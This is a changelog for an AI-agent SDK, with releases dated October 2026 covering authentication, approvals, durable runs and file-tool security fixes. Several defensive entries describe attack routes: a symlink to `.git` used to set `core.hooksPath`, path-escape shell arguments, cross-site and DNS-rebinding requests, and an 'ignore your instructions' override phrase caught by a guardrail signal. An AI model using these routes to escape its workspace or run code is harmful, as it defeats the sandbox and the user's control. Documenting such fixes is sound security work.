* **Behavior change:** the built node-server (and the Docker image) now guards `POST /channels/<name>` and its approvals route for a channel without `verify` with `LOUSHO_API_TOKEN` / `auth.ts`, the same as `/chat`. Before, such a channel answered anyone even with a token set. Channels that verify their own requests (Slack, Discord, Telegram, GitHub, Teams, `webhookChannel` with a secret, any channel with `verify`) are unchanged, and the start-up log lists each channel route's guard (`self-verified`, `server-auth` or `open`).

* **Behavior change:** `webhookChannel` replies with `{ sessionId, text, finishReason, approval? }` (plus `approvalPrompt` on a pause), as `httpChannel` does, instead of the full `ExecutionResult`. The full result echoed the system prompt and the whole transcript to the caller. `fullResult: true` restores the old body.

* Channels answer a turn on a session that another process or replica is running (`LOUSHO_SESSION_BUSY`) with `409` and `Retry-After: 2` instead of a `500`, and report a turn that fails before the request is acknowledged to `onError` with stage `'turn'` (it said `'parse'`).

* README and [Comparison](/comparison) no longer list ACP and MCP as differentiators, and describe Agent Forge as a local visual console.

* CI is one workflow with two jobs: `ci` (type checks, lint, build, tests with coverage, docs, API and fallow gates, pack-smoke, size check, and a zod 4 type check) and `compat` (the newest peers, `ai` 7 with zod 4, plus the real-Docker sandbox tests). The separate Docker Engine, Agent Forge E2E and weekly registry-smoke workflows and the `ai` 6 / zod 3 matrix entries are gone; `npm run registry-smoke` and `npm run test:e2e:studio` still run locally. When the fallow gate fails, CI now prints its full health and duplication reports.

### Added

* `lousho init --template telegram` scaffolds a long-polling Telegram bot: an owner lock (the first chat to message the bot claims it; other DMs are ignored unless their id is in `ALLOWED_CHATS`), `@mention`/reply triggers in groups (`ALLOW_GROUPS=true`), allow/deny/always approval buttons backed by saved rules, markdown→Telegram-HTML rendering, photo/voice/file intake, and `npm run task` (`--task-file`) one-shot mode other agents delegate to. `--bot-name`, `--bot-token`, `--bot-username`, `--allowed-chats` and `--persona` write `.env` and the persona directly and are rejected on other templates. See [Scaffolding a new project](/installation#scaffolding-a-new-project).
* `GET /ready` on the built node-server and Docker image: `200 {"status":"ready"}` while serving, `503 {"status":"draining"}` once shutdown starts. `/health` is unchanged. See [Deployment](/deployment).
* The built server exports OpenTelemetry traces over OTLP/HTTP when `OTEL_EXPORTER_OTLP_ENDPOINT` (or `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT`) is set, next to any exporter the agent already has. It loads `@opentelemetry/sdk-trace-node`, `@opentelemetry/resources` and `@opentelemetry/exporter-trace-otlp-http` only then, says how to install them when missing, and honours `OTEL_SERVICE_NAME`. See [Observability](/observability).
* `createAgent({ toolErrorMessage })` replaces the text of a thrown tool error (`kind: 'execution'`) before it reaches the model, `tool.error` events and hooks; a sanitizer that throws gives "The tool failed.". See [Tools](/tools).
* `lousho init` and `create-lousho-agent` generate an `AGENTS.md` for coding agents (the project's real scripts, conventions and docs links) and a `CLAUDE.md` that imports it.
* `lousho add` falls back to the registry bundled in the npm package (`registry/dist`) when `registry.lousho.com` and its GitHub fallbacks are unreachable, with a notice that the bundled copy may be older.
* [Pause, restart and resume](/pause-and-resume): one tutorial for an approval that waits across a restart, crash recovery, and resending over HTTP.
* `SECURITY.md`: supported versions, private reporting through GitHub, and the disclosure policy.
* `httpChannel()` created without `verify` logs one warning that the channel is unauthenticated and its `sessionKey` values are guessable. [Channels](/channels) shows `verify` in the quick start, and [Deployment](/deployment) says which routes `LOUSHO_API_TOKEN` guards.
* `POST /chat` accepts an `Idempotency-Key` header: a resend with the same key replays the finished turn's reply (`Idempotent-Replayed: true`, nothing runs), resumes a turn a crash interrupted instead of appending the message again, and is a `409` (`LOUSHO_SESSION_BUSY`) while that turn still runs. The key is stored on the turn's user message (`metadata.idempotencyKey`), so it survives restarts; `session.pending()` reports it as `idempotencyKey`. See [Resending a turn](/deployment#resending-a-turn).
* `fromAiSdkTools(record)` converts Vercel AI SDK tools (`tool({ ... })` or plain `{ description, inputSchema | parameters, execute, needsApproval? }` objects) into Lousho tools, keyed by name: zod and Standard Schemas are kept, `jsonSchema()` wrappers and plain JSON Schemas are converted (their own `validate` still runs), `needsApproval` (boolean or function) pauses the run for approval, and `execute` gets the call id and the run's abort signal. It imports nothing from `ai`, so tools built on `ai` 4 to 7 work with any installed version. New guide: [Migrating from the AI SDK](/migrating-from-ai-sdk).
* `lousho eval` without vitest installed now says it runs `*.eval.ts` files through vitest, the directory it searched from, and the install command; [Evals](/evals) states the requirement up front.
* `result.usage.delegated.toolErrors`: the tool calls that failed inside a run's sub-agents (and theirs), which the lead's own `result.toolErrors` does not count. `ToolCallContext.onDelegatedUsage` takes the child's `toolErrors` as an optional second argument.
* The session HTTP API (`createRouteHandler()`, the deployed node server, the Worker, `lousho dev`) writes an SSE comment (`: ping`) after 15 seconds without an event, so proxies and client idle timeouts no longer drop a turn whose model or tool is slow; `heartbeatMs` changes the interval (`0` turns it off). See [HTTP API](/deployment#http-api).
* `google/<model>` model strings (e.g. `createAgent({ model: 'google/gemini-2.5-flash' })`) and a `GoogleProvider`, backed by the optional peer `@ai-sdk/google` (`^1.2.0` with `ai` 4, `^3.0.0` with `ai` 6, `^4.0.0` with `ai` 7) and reading `GOOGLE_GENERATIVE_AI_API_KEY`. `lousho init --provider google`, `lousho doctor` (package pairing, key, `--ping`) and the missing-peer install hint cover it. See [Providers](/providers).
* An unknown model prefix (`mistral/...`, `xai/...`) now says how to reach the vendor anyway: `openrouter/<vendor>/<model>`, `pi/<vendor>/<model>` when pi serves it, or `fromAiSdk()` with the vendor's AI SDK package. See [Vendors without a prefix](/providers#vendors-without-a-prefix).
* `lousho doctor` fails an installed `ai` 5 (AI SDK v5 is not supported) with an upgrade hint to `ai` 6 or 7 and the matching `@ai-sdk/*` majors.

### Fixed

* `lousho build` works again in a project without the optional `@opentelemetry/*` packages (every fresh scaffold): the OTel exporter added for the built server is loaded only when `OTEL_EXPORTER_OTLP_ENDPOINT` is set, and the build leaves those packages unresolved instead of failing with `Could not resolve "@opentelemetry/api"`. The scaffold end-to-end test now builds the server and checks `/health`.
* The `httpChannel()` "no verify" warning no longer says the channel is unauthenticated when the built server guards it with `LOUSHO_API_TOKEN` or `auth.ts`, and [Channels](/channels) shows `webhookChannel`'s trimmed reply.
* `lousho add` works again when `registry.lousho.com` is unreachable: the fallback now tries the release tag as the repository names it (`1.0.0-alpha.24`), then the `v`-prefixed tag, then `main`. It asked only for `v<version>`, which 404'd.
* The file tools' `deny` list (`.git` by default) is now also checked where a path really leads: a symlink or Windows junction inside the workspace pointing at `.git` or into it (`gitj -> .git`) let `edit_file gitj/config` rewrite `.git/config` (for example `core.hooksPath`, which runs code on the next git command) and `write_file gitj/PWNED` create files in `.git`. Reads, writes, edits, `list_dir`, and `glob`/`grep` given such a link as `path` are now refused. Providers with links can implement the new optional `FsProvider.realPath(path)`; `NodeWorkspace` does. See [Workspace tools](/workspace-tools#security-model).
* `NodeWorkspace.writeFile` (and so `write_file` / `edit_file`) writes a temp file in the same directory and renames it into place, so a process killed mid-write no longer leaves a truncated file. A replaced file keeps its permission bits; a read-only file is still refused.
* `WorkspaceCheckpoints` stores a file's backup before `write_file` / `edit_file` writes it, not after. A process killed between the write and the backup lost the original: on resume the re-run call backed up the agent's own content, so `rewind()` reported `restored` but put back the agent's version (or, for `edit_file`, recorded nothing). A re-run now keeps the turn's first backup, and rewind treats a file still holding its backed-up content as nothing to undo. `track()` also accepts a `PreparedWorkspaceWrite` (`{ prepare, write }`), which the built-in tools use.
* `edit_file` re-run after a crash (the edit already in the file: `old_string` gone, a non-empty `new_string` present, also with `replace_all`) now succeeds with "the edit was already applied" and writes nothing, instead of failing with `old_string was not found` and sending the model into a loop. A `write_file` / `edit_file` that leaves the file unchanged no longer records a checkpoint backup.
* [Sessions](/sessions) no longer says to call `resume()` before resolving an approval after a restart: `agent.approvals.resolve()` / `streamResolve()` from a fresh process finds the session itself. It and [Build a coding agent](/build-a-coding-agent) now say how to show a resumed turn's progress (`session.on()`, `onEvent`), and the guide points long coding turns at compaction.
* MCP tool schemas with OpenAPI's `nullable: true` (any type) now accept `null`; the model's valid `null` was rejected with `ToolArgumentsValidationError`.
* A failed MCP tool call (server exited, timeout, protocol error) now rejects with `LOUSHO_MCP_CALL_FAILED`, naming `<server>__<tool>` with the MCP error as `cause`, instead of a bare `MCP error -32000: Connection closed`. [MCP](/mcp-integration) now says stdio `env` is merged onto the MCP SDK's default allow-list, not `process.env`.
* Flows (consumer harness): a `{{variable}}` holding an object (a `toolCall` result, an MCP result) no longer reaches a prompt as `[object Object]`: an object whose only field is `text` (an MCP tool result) is that text, a raw MCP `{ content }` result its text parts, and any other object or array its JSON. Placeholders take dotted paths (`{{res.user.name}}`, `{{list.0}}`, own properties only), also as whole tool-argument values. An `evaluator` step stores its result in `outputVariable`. See [Template values](/flows#template-values).
* Flows: a durable run is saved before its first step, so a run whose first step failed can be `resume()`d instead of failing with `LOUSHO_CHECKPOINT_NOT_FOUND`, whose hint for a flow run now points at `FlowExecutor.execute()` rather than forking session history. A step's checkpoint is saved before its `step-complete` event, so a crash in between no longer re-runs a step reported complete.
* Flows: an `llmCall` whose model request fails rejects with the same compacted `CompactedLLMProviderError` as an agent run (`LOUSHO_PROVIDER_*` code, `compacted.category`), not the provider SDK's raw `APICallError`, and its `retry` no longer retries a failure marked `retryable: false` (a 401, an exhausted quota, a too-long prompt).
* A provider answering a streaming request with HTTP 200 and a body that is neither an event stream nor valid JSON (for example a truncated `{"choices": [ {"oops`) no longer ends as a silent empty reply. It now fails as a retryable 502, so `withRetry` retries it and an exhausted retry surfaces as a provider error.
* A sub-agent with an `output` schema that ran out of steps and gave a valid object in its forced final call is now a `task` result (the object, with a line saying the steps ran out), not a failure telling the lead it gave no final answer - which made leads re-run the task.
* Sub-agents are held to their lead's token, cost and duration `limits` while they run, counted with what the lead and its other running sub-agents have spent, so parallel sub-agents no longer each spend the lead's whole budget (a lead with `maxCostUsd` could end at several times it). A sub-agent stopped this way reports the limit to the lead. A spend limit stays a hard stop with no forced `output` answer; the finished tool results stay in `result.messages` ([Budgets](/configuration#budgets)).
* **Behavior change:** `POST /chat` to a session paused on an approval is a `409` JSON body (`LOUSHO_SESSION_AWAITING_APPROVAL`, with `approvalId` and `approvalIds`) instead of a `200` stream ending in a generic error.
* A decision on an approval whose winning decision is still streaming is a `409` (`LOUSHO_APPROVAL_CONFLICT`), as docs/auth.md says, instead of a `404`.
* The session routes' `400` bodies carry a `code`: `LOUSHO_REQUEST_INVALID` (invalid JSON, missing or empty fields), `LOUSHO_APPROVAL_DECISION_INVALID` (an approval body with neither `approved` nor `answer`), `LOUSHO_SESSION_ID_INVALID`.
* `lousho chat` prints a failed turn with its error code, the provider's failure category and HTTP status, and the fix (`error: User not found. (auth-failure, HTTP 401)` then `[LOUSHO_PROVIDER_REQUEST_FAILED] ...`), as docs/cli.md says, instead of the bare provider message. The terminal chat of a project scaffolded by `lousho init` / `create-lousho-agent` does the same.
* A `.env` saved with a UTF-8 byte order mark (PowerShell 5.1's `Set-Content -Encoding utf8`) no longer loses its first variable: the `lousho` commands and the scaffolded `src/index.ts` drop the mark before parsing. Variables already set in the environment still win.
* `lousho doctor src/agent.ts` loads a `.ts`/`.js` agent module the way `lousho dev` does instead of failing with `LOUSHO_SPEC_UNSUPPORTED_FORMAT`, and a missing key for the module's provider is a failure. A scaffolded project's `npm run doctor` now runs `lousho doctor src/agent.ts`, so it fails when the agent's key is missing.
* `lousho doctor --ping` checks OpenRouter at `/api/v1/key`, which needs the key (its `/models` answers without one, so a wrong key passed); a key the provider rejects is now a failure, and a ping of a custom `OPENAI_BASE_URL` says it shows reachability only.
* `lousho doctor` fix lines use PowerShell syntax (`$env:NAME="<your key>"`) on Windows.
* The `lousho eval` table shows the scores of passing scored gates (such as `t.check('words', n, atLeast(3))`), not only in `--json`.
* **Behavior change.** An agent with `output` and tools no longer sends the strict `responseFormat` schema on calls that offer tools: `openai/gpt-4o-mini` via OpenRouter then called tools on every step until `maxSteps` and never answered. `responseFormat` now goes only on calls without tools (an agent without tools, the "answer now" call at `maxSteps`, the repair step); tool-offering calls answer from the schema in the prompt, with the existing parse and repair. `output: { schema, responseFormat: 'always' }` restores the old behavior, and is the default with `promptSchema: false`. `object.delta` events still stream on every step of an `output` run. See [Structured output](/structured-output#how-it-works).
* An agent directory built with `lousho build --target=node-server` (or `docker`) can now change who may decide an approval and who may use a session: `auth.ts` may export functions named `authorizeApproval` and `authorizeSession` next to its default auth list, `resolveAgentDir()` returns them, and the built server applies them. Before, the built server always used the defaults, so a manager could not approve another user's paused call while that user could approve their own. See [Who may decide an approval](/auth#who-may-decide-an-approval).

### Documentation

* Tool idempotency: `toolCallId` and `ctx.approval.id` identify one call; after a crash the model may retry with a new call, so side effects that must happen once need a key from your own data. New guidance for ending a run after a rejected approval, and for extract-then-approve-then-act with structured output.
* [Durable execution](/durable-execution#recovering-after-a-crash): `agent.resume()` resolves with a result, not a stream (stream a resumed run with `agent.stream([], { sessionId })`), and `agent.pending()` also lists runs still active in another process. [Installation](/installation#typescript-settings): TypeScript 6+ projects need `"types": ["node"]` for the SDK's declarations.

## \[1.0.0-alpha.24] - 2026-10-17

Two fixes on top of 1.0.0-alpha.23, published from the release branch.

### Added

* `model-unloaded` provider error category: "model is not loaded/unloaded" replies from a local server (LM Studio, Ollama) classify as retryable, so `withRetry()` rides out the server evicting or still loading a model.
* A run ended by `maxSteps` or a budget without a final answer now returns explanatory text instead of an empty string.

### Changed

* MCP: a warning is logged when a server's tool schemas exceed about 16K tokens (deferred tools excluded). A server marked `optional: true` connects in the background, so a slow or failing optional server no longer blocks the first `send()`.

### Fixed

* Compaction: when the provider rejects a request for context size and the configured `contextWindow` is larger than the model's real one, the error is marked on the transcript and folded into it for a retry when a compaction hook exists; the hook compacts under the server's observed window (or the rejected request size when unnamed) for the rest of the run.
* `toolCalls` of a run continued from a transcript (approval resolve, resume) are collected from its messages, so they no longer disappear from the result.
* `recall_<slot>` with a query that matches nothing now says the slot is not empty, instead of returning a bare `[]` that contradicted the injected `<memory>` block.
* The guardrail starter set's `ignore-instructions` signal also catches "ignore these/those/her/his/their/our instructions" and "ignore your instructions", without a qualifier such as "previous".

## \[1.0.0-alpha.23] - 2026-10-16

The same tree as 1.0.0-alpha.21; no code changes. create-lousho-agent
0.1.2-alpha.7.

## \[1.0.0-alpha.22]

Never published to npm (the registry goes from 1.0.0-alpha.21 to
1.0.0-alpha.23); no changes.

## \[1.0.0-alpha.21] - 2026-10-16

Everything merged to `main` after 1.0.0-alpha.20. create-lousho-agent
0.1.2-alpha.6.

### Breaking

* Removed the deprecated trigger adapters and their types from `@lousho/build-ai-agent/triggers`. `TriggerAdapter`, `TriggerRegistry`, the `WebhookAuth` helpers, `verifySlackSignature()` and `parseCronExpression()` stay. Migration (see [Migrating from triggers](/upgrading#migrating-from-triggers)):
  * `WebhookTriggerAdapter`, `WebhookTriggerAdapterOptions`, `WebhookTriggerHandle` -> `webhookChannel()` with `mountChannels()` (same `auth` option)
  * `SlackTriggerAdapter`, `SlackTriggerAdapterOptions` -> `slackChannel()` with `mountChannels()`
  * `CronTriggerAdapter`, `CronTriggerAdapterOptions`, `CronIntervalOptions`, `CronExpressionOptions` -> `defineSchedule()` with `startSchedules()` (no `intervalMs`: use a cron expression such as `*/5 * * * *`)

### Added

* `agent.recover({ intervalMs?, signal?, onError?, onRecovered? })` finishes interrupted durable runs in the background: it polls `agent.pending()` and resumes each `'in-progress'` run once its crashed holder's run lease is free, leaving approval and question pauses (and non-retryable failures) alone; returns `{ done, stop() }` ([Durable execution](/durable-execution#recovering-automatically)).
* An agent directory's config accepts `retry` (`agent.json`: `maxRetries`, `timeoutMs`, `backoff`, ...) and, in an `agent.ts` code config, `output` (a Standard Schema), so `lousho dev`/`chat`/`build ./agent` keep structured output and per-attempt timeouts. `loadAgentDir(dir, { output })` now returns `SimpleAgent<Infer<output>>`, so `result.object` is typed.
* `result.toolErrors` counts a run's tool calls that ended in an error result, so an answer the model gave after its tools failed (`finishReason: 'stop'`) is no longer indistinguishable from a good one; `limits.maxToolErrors` stops the run (`'budget-exceeded'`, `budget.limit: 'maxToolErrors'`) once that many failed. See [Failed calls in the result](/tools#failed-calls-in-the-result).
* An error a run rejects with carries what the run spent as `error.usage` (also on `PropagatingToolError` and your own errors). A sub-agent's spend is saved on its lead's checkpoint as it runs, so a lead resumed after a crash mid-sub-agent counts the interrupted sub-agent's model calls.
* A `send(msg, { sessionId })` or `agent.resume()` run that rejects records `lastError` and `attempts` on its checkpoint, and `agent.pending()` lists them (`attempts` is new for session turns too), so a restart loop can tell a failing run from a crashed one.
* Docs: a webhook-redelivery recipe (run a job once by checking the checkpoint before `send()`), a note on structured-output schemas that mirror a side-effect tool, and the `fetch` option for proxies and fault injection on every provider class.

### Changed

* **Behavior change:** the fallback default model for the OpenAI, OpenRouter and Pi providers (what `lousho init` scaffolds and what runs when no model is configured) is now `gpt-4.1-mini` instead of `gpt-4o-mini`; set `model` or `LOUSHO_MODEL` to keep the old one. README and Quick Start use it. Added `docs/comparison.md`; CI also runs on pushes to `main`; README no longer claims unverifiable live validation.
* `createAgent({ prompt })` is deprecated: `instructions` is the one documented name (`prompt` still works as an alias, marked `@deprecated`). Docs, README and examples now use `instructions`, and `npm run docs:verify-snippets` fails a docs snippet that passes `prompt` to `createAgent`.
* The published package no longer ships source maps (`dist/**/*.map`, \~3.7 MB; tsup no longer emits them). The tarball goes from 965 files / 18.9 MB unpacked / 5.0 MB packed to 774 files / 15.1 MB / 4.3 MB. `src/` still ships because `lousho build` bundles the SDK from it. `npm run size-check` now guards the tarball size and a hello-world bundle against `scripts/size-budget.json`.
* `docs/comparison.md` is now a dated (October 2026) per-competitor table covering the AI SDK 7, Mastra, LangGraph.js, OpenAI Agents SDK, Claude Agent SDK, eve, VoltAgent and open-harness, and the README's differentiator list keeps only claims still true against them.

### Fixed

* **Behavior change:** a session without a `checkpointStore` that pauses on an approval now keeps an in-process pause marker, so a second `send()` / `stream()` / `compact()` on it throws `SessionAwaitingApprovalError` (`LOUSHO_SESSION_AWAITING_APPROVAL`) — before, the new turn ran over the truncated transcript and the later `approvals.resolve()` silently overwrote the committed turn. The marker covers `send`, `stream`, `compact`, `clear`, `pending` and `discardPending`, and is dropped when the turn resolves, aborts, fails or is discarded. Across processes there is still no durable marker: a session that may pause needs a `checkpointStore`.
* Session turn checkpoints no longer reuse a `<id>.turn-<n>` id after `compact()` shortened the transcript: the `n` now comes from a persisted high-water mark (`<id>.turn-counter`), so `fork()` can no longer resolve a stale checkpoint of a different turn, and `prune()` keeps the counter while its session's paused run needs it.
* Memory: two parallel `remember_<slot>` calls with an `itemKey` no longer store duplicate items — the check-and-replace is serialized per memory key. A remembered item is capped at 20,000 characters and the injected `<memory>` block at 20,000 (each line 4,000), so one item can no longer outgrow the context window of every later run.
* `lousho add <kit> --dir <new-dir>` no longer creates the target directory before the install is decided: a non-interactive refusal, a manifest refusal or a 'no' at the prompt now truly leaves "nothing was written" — before, an empty directory stayed behind.
* A malformed or truncated provider response before any output (the AI SDK `JSONParseError`/`TypeValidationError` on a garbage first SSE chunk, or a stream cut by `UND_ERR_SOCKET` / "terminated" / "other side closed", also inside a `cause`) is now retried by `withRetry()` like other network errors, with a `provider.retry` event, instead of ending the turn with `LOUSHO_PROVIDER_REQUEST_FAILED`. Nothing is retried once text or a tool call was emitted.
* `lousho build --target=node-server` now lists the provider package in the build's `package.json` when the agent module (or a code `agent.ts`) uses an SDK provider class such as `new OpenRouterProvider(...)`, not only a literal `model: '<provider>/...'`, and warns when it detects no provider. `docs/deployment.md` no longer tells readers to call the internal `createDeployedServer()`; it shows a graceful shutdown for a self-served agent.
* Errors and cost (consumer harness): a session turn that fails outside its run (e.g. `LOUSHO_SESSION_BUSY`) now sends the error's stable `code` on the `error` event, with the message still sanitized; `provider.fallback` events carry `fromModel` / `toModel`, so two providers of the same name (both OpenRouter) can be told apart; and one step with no known price no longer discards the run's cost: `usage.costUsd` keeps the priced steps' sum and `usage.costPartial: true` flags it (also on `byModel` entries, `delegated` and `step.done` / `run.done` usage), and `limits.maxCostUsd` is enforced on that partial total.
* `grep` no longer times out on a cheap pattern over a slow disk: the 10 s budget now counts only the time spent matching, not reading files. The timeout error says whether the pattern is slow or the many files used the budget, and how many files were scanned. New `createFsTools({ grepTimeoutMs })`.
* Permissions: a `permissions` rule naming a tool the agent does not have (a typo such as `write_flie`, so a `deny` silently guarded nothing) now logs a `[lousho]` warning at `createAgent()` with a "did you mean", and `lousho doctor <agent-dir>` reports it as a warning. Wildcards, globs, patterns and agents whose tools may arrive later (MCP, tool search, sub-agents) are only checked for near-miss typos.
* `lousho init` / `create-lousho-agent` template: `npm run dev` with piped input (`printf 'hi\n' | npm run dev`) no longer exits before the reply; it streams the reply and exits when the turn is done.
* `lousho eval`: the "with soft failures" total (`softFailed` in the JSON summary) also counts cases that failed a gate or threw; the JUnit report keeps their soft failures as `<system-out>` notes.
* Sessions: a checkpointed turn whose first model call fails (a 5xx after retries, an exhausted 429, a malformed response) no longer loses the user's message. The turn is kept as an `in-progress` pending turn (new `Checkpoint.unstarted`), so `pending()` and the route's `GET` show it, and the next `send()` / `resume()` runs it again with the message in the transcript once. Over the session routes, that stored turn claims the session for its caller.
* `lousho eval --replay` / `--record` skip a `mockModel()` provider: a scripted mock needs no network, so a mock eval no longer fails with `no cassette ... [LOUSHO_CASSETTE_INVALID]`.
* `limits.maxCostUsd` no longer logs "cost limit is not enforced" on runs that use `mockModel()`, which has no price.
* `lousho doctor` lists optional packages the agent does not use as one info line instead of a warning each.
* Docs: `fileMemory({ dir })` in an agent directory's `memory/*.ts` resolves against the working directory (anchor it to the module); `lousho mcp` takes an agent directory; running `create-lousho-agent` from a local tarball; `lousho dev`/`chat` cannot pass run metadata.
* Flows: a durable run (`checkpointStore` and `runId`) holds a run lease, like an agent run: a concurrent `FlowExecutor.execute()` or `resume()` of the same `runId` (in this process, another process or through another store object) is refused with `LOUSHO_SESSION_BUSY` and runs nothing, instead of running the remaining steps twice. A lease left by a crashed process expires, so the run can still be resumed. See [Durable runs](/flows#durable-runs).
* Flows: a `toolCall` argument that is exactly `'{{name}}'` or `'$name'` passes the variable's value (a number, an object) instead of its text, so `{ n: '{{n}}' }` works with a `z.number()` tool. Mixed strings are still interpolated as text. See [Argument values](/flows#argument-values).
* Flows: a `step` node (`StepNode`) fails with a message naming the supported way to run a `createAgent()` agent in a flow (a tool that calls `agent.send()`). See [Running an agent in a flow](/flows#running-an-agent-in-a-flow).
* Sub-agents: a sub-agent's own `memory` works when the lead's `task` tool runs it (recall in its system prompt, its `remember_<name>` / `recall_<name>` tools), scoped by the lead run's `sessionId`, `metadata` and `principal`; before, its slots were silently ignored there. New `subagentOptions: { continuation: false }` leaves `taskId` and `mode` out of the `task` tool, and the error for another sub-agent's `taskId` tells the model to omit it for a new task. See [Sub-agents](/sub-agents#continuing-a-task).

### Security

* **Behavior change:** the file tools from `createFsTools()` (`read_file`, `list_dir`, `glob`, `grep`, `write_file`, `edit_file`) refuse any path with a `.git` segment (`.git/config`, `./.git`, `a/../.git`, `.GIT`, a worktree's `.git` file; on Windows also 8.3 names such as `GIT~1`) with a `WorkspaceError`, and `glob`, `grep` and `list_dir` leave `.git` out of their results. `.git/config` can hold a CI checkout token (`http.<url>.extraheader`) and a worktree's `.git` names a host path. The new `deny` option sets the names (default `['.git']`; `[]` turns it off). The `shell` tool is not path-filtered. See [Security model](/workspace-tools#security-model).
* `lousho build <dir> --target=node-server|docker` no longer copies an agent directory's `.env` files or its `.lousho/` session store (real user transcripts) into `dist/` and the Docker image. Only the files the server reads are copied: `instructions.md`, `instructions/`, `skills/` and a JSON/YAML config, in the directory and each sub-agent; `.env*`, `.lousho`, a JSON/YAML config's `store.dir`, `.git` and `node_modules` are skipped at any depth. `dist/` is emptied before each build so sessions a previous build's server wrote there are not resurrected, and the generated `.dockerignore` also lists `**/.env`, `**/.env.*` and `**/.lousho`. Rebuild and redeploy images built from an agent directory with an earlier version. See [Deployment](/deployment#agent-directories).
* `createRouteHandler()`'s UI stream (`POST <base>/ui`) and framework hook route (`POST <base>`) now enforce the documented 1 MB body cap (`413`) like `POST /chat` does; they previously buffered the full body via `request.json()`.
* A channel approval decision now binds to the session recorded in the approval's own durable snapshot, not the `sessionKey` the caller sends, so a request carrying a foreign session key can no longer resolve another conversation's pending approval.
* `POST /chat/:sessionId/approvals/:id` checks the approval's kind after authorization: `answer` only decides question approvals and `approved`/`note` only tool approvals; a mismatched body is `400 LOUSHO_APPROVAL_KIND_MISMATCH` instead of silently approving a tool.
* `POST /chat` message arrays may carry `role: 'user'` only; client-supplied `system`, `assistant` and `tool` messages are dropped before the turn (content-part arrays without roles are unaffected).
* **Behavior change:** `crossSiteRequest` no longer trusts `X-Forwarded-Host` or `Forwarded: host=` as same-site evidence — those headers are client-controllable. A request is same-site when its `Origin` matches the server's actual `Host` (or an `allowedOrigins` entry); behind a trusted proxy, set `allowedOrigins` to the public origin.
* Session-owner bookkeeping adds a per-principal cap (1024 claimed sessions per caller) under the global 100,000 LRU, so one caller flooding new session ids can no longer evict everyone else's ownership claims.
* `webhookChannel()` only defines `verify` when an `auth` option is configured; an unauthenticated webhook is treated as an open channel and its cross-site requests are refused like `httpChannel()`'s. The deprecated `WebhookTriggerAdapter` treats a missing `verify` as success.
* Malformed percent-encoding in route parameters (`%zz`, truncated UTF-8) answers `400` instead of a `URIError` 500 on `/chat/:sessionId/...` and channel approval routes.

## \[1.0.0-alpha.20] - 2026-10-16

create-lousho-agent 0.1.2-alpha.5.

### Security

* **Behavior change:** with route auth and no `authorizeSession`, a session belongs to the first principal that sends it a turn (reading claims nothing); any other principal gets `403 LOUSHO_SESSION_FORBIDDEN`. Owners are kept in memory per agent for the 100,000 most recently used sessions, so a stored session whose owner is not on record (after a restart, on another replica, past the cap) is refused to everyone: pass `authorizeSession` for multi-instance deployments and durable stores, or `authorizeSession: () => true` for the old behavior. A route behind one bearer token has a single caller and checks no owner. `POST /chat` with an empty `input` (and `POST <base>/ui` without a user message) is a `400` that claims nothing, and a turn that stores nothing drops its claim, so an owner can no longer be evicted by flooding. See [Who may use a session](/auth#who-may-use-a-session).
* **Behavior change:** `POST /chat/:sessionId/approvals/:id` answers `404` unless the approval belongs to that session, and by default only the caller the paused run acts for may decide it; allow others (a supervisor) with `authorizeApproval`.
* **Behavior change:** the session routes (`createRouteHandler()`, `createDeployedServer()`, the Worker, `lousho dev`) refuse cross-site requests: a POST whose `Origin` is neither the server's own (`Host`, `X-Forwarded-Host` or `Forwarded: host=`) nor in the new `allowedOrigins`, or that the browser marked `Sec-Fetch-Site: cross-site`, is `403 LOUSHO_REQUEST_FORBIDDEN`, and a POST body must be `Content-Type: application/json` (`415 LOUSHO_UNSUPPORTED_MEDIA_TYPE`). Requests without `Origin` are unaffected. Opt out with `allowedOrigins: ['*']` and `requireJsonBody: false`; `allowedHosts` refuses unlisted `Host` headers. Built servers read `LOUSHO_ALLOWED_ORIGINS`, `LOUSHO_ALLOWED_HOSTS` and `LOUSHO_REQUIRE_JSON_BODY=false`. The React/Vue/Svelte bindings no longer send `Content-Type` twice and accept a `Headers` instance. See [Cross-site requests](/auth#cross-site-requests).
* **Behavior change:** `lousho dev` answers `403` to a non-loopback `Host` (off loopback: an IP address or the `--host` name; new `--allowed-hosts a,b`), so a web page cannot reach it through DNS rebinding, and warns when bound off loopback. A channel without `verify` refuses a cross-site browser request (`403`), and `httpChannel()` without `verify` requires a JSON body (`415`).
* **Behavior change:** the Cloudflare Worker refuses every `/chat` route (`403 LOUSHO_REQUEST_FORBIDDEN`) when no `LOUSHO_API_TOKEN` secret is set; set the var `LOUSHO_ALLOW_OPEN_SESSIONS` (or the earlier `LOUSHO_ALLOW_OPEN_TRANSCRIPTS`) to `"true"` to allow it. `/health`, the OAuth callback and channels stay open, and `lousho build --target=cloudflare-worker` warns about the secret.
* **Behavior change:** `WebhookTriggerAdapter` binds `127.0.0.1` by default (was `0.0.0.0`), refuses a non-loopback `host` without `auth` unless `allowUnauthenticated: true` (`LOUSHO_TRIGGER_INVALID`), refuses a foreign `Host` or an `Origin` on loopback without `auth`, caps bodies at 1 MB (`413`) before auth, and no longer echoes handler errors. See [Webhook](/triggers#webhook-authentication).
* **Behavior change:** MCP tools ask for approval by default (`approval: 'always'`); a server's `readOnlyHint` / `destructiveHint` count only with `approval: 'annotations'`. An MCP tool named like a local tool is refused with `LOUSHO_CONFIG_INVALID` instead of replacing it. See [MCP](/mcp-integration#approval-for-mcp-tools).
* Flows: a `toolCall` step passes the same gate as an agent's tool call (`permissions`, `permissionMode`, `onPermissionDecision` and a new `approve` option on `FlowExecutionContext`); a call that needs approval and is not approved fails with `LOUSHO_FLOW_TOOL_DENIED` without running. Step arguments are validated against the tool's schema (`LOUSHO_TOOL_ARGS_INVALID`) and a flow's declared `inputs` are enforced (`LOUSHO_VALIDATION_FAILED`). See [Flows](/flows#tool-calls).
* Registry: the approval an install receipt requires for an `exec`, `needsApproval` or unattested item can no longer be waived from inside the agent directory (an `allow` rule, `acceptEdits` or the directory's own `approve` file); only a person or an `approve` passed in code decides it. Receipts now also cover a kit's `subagents/<name>/` tools. `coding-kit` / `coding-pi` refuse writes to their own config, tools and `.git/`, drop `git diff` from the shell allowlist and accept `node --test` only with test file paths (reinstall with `lousho add coding-kit --overwrite`). See [Registry](/registry).
* Shell tool: an `allow` string pattern refuses arguments that escape the workspace (`..` segments, also in `--flag=../x`, `~`, absolute paths, quoted or escaped forms such as `cat "../x"`, globs that can expand to `..`, and `$`, `{`, `}`), and under cmd.exe `%` and `^` count as shell operators. Use a `CommandRule` or an anchored RegExp to allow such arguments.
